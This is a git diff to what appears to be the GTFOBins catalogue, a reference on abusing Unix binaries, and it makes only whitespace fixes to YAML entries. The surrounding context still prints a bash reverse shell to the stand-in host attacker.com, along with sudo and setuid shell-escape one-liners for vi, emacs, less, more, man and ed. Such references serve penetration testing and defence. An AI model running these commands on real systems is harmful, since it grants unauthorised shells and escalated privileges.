diff --git a/_data/functions.yml b/_data/functions.yml index df1e39f..78f65c4 100644 --- a/_data/functions.yml +++ b/_data/functions.yml @@ -49,8 +49,7 @@ load-library: file-read: label: File read description: It reads files and may be used to do privileged reads or disclose files outside a restricted environment. - + file-write: label: File write description: It writes files and may be used to do privileged writes or write files outside a restricted environment. - \ No newline at end of file diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md index d012f1a..de3f92e 100644 --- a/_gtfobins/bash.md +++ b/_gtfobins/bash.md @@ -40,7 +40,7 @@ functions: export RHOST=attacker.com export RPORT=12345 bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1' - file-read: + file-read: - description: It trims trailing newlines. code: | export LFILE=file_to_read diff --git a/_gtfobins/ed.md b/_gtfobins/ed.md index a8d2d56..ed03c3a 100644 --- a/_gtfobins/ed.md +++ b/_gtfobins/ed.md @@ -12,10 +12,10 @@ functions: - code: |- ./ed !/bin/sh - file-read: + file-read: - code: | ed file_to_read - file-write: + file-write: - code: | ed file_to_write w diff --git a/_gtfobins/emacs.md b/_gtfobins/emacs.md index 9dc17e0..7750506 100644 --- a/_gtfobins/emacs.md +++ b/_gtfobins/emacs.md @@ -6,10 +6,10 @@ functions: - code: sudo emacs -Q -nw --eval '(term "/bin/sh")' suid-enabled: - code: ./emacs -Q -nw --eval '(term "/bin/sh -p")' - file-read: + file-read: - code: | emacs file_to_read - file-write: + file-write: - code: | emacs file_to_write C-x C-s diff --git a/_gtfobins/less.md b/_gtfobins/less.md index 68854dc..19d1262 100644 --- a/_gtfobins/less.md +++ b/_gtfobins/less.md @@ -15,7 +15,7 @@ functions: - code: |- ./less /etc/profile !/bin/sh - file-read: + file-read: - code: | less file_to_read --- diff --git a/_gtfobins/man.md b/_gtfobins/man.md index 14d36c7..23e60ee 100644 --- a/_gtfobins/man.md +++ b/_gtfobins/man.md @@ -12,7 +12,7 @@ functions: - code: |- ./man man !/bin/sh - file-read: + file-read: - code: | man file_to_read --- diff --git a/_gtfobins/more.md b/_gtfobins/more.md index 2ef498a..e575f8f 100644 --- a/_gtfobins/more.md +++ b/_gtfobins/more.md @@ -12,7 +12,7 @@ functions: - code: |- TERM= ./more /etc/profile !/bin/sh - file-read: + file-read: - code: | more file_to_read --- diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md index 94f557d..43ff1da 100644 --- a/_gtfobins/vi.md +++ b/_gtfobins/vi.md @@ -10,10 +10,10 @@ functions: - code: sudo vi -c ':!/bin/sh' suid-enabled: - code: ./vi -c ':!/bin/sh -p' - file-read: + file-read: - code: | vi file_to_read - file-write: + file-write: - code: | vi file_to_write w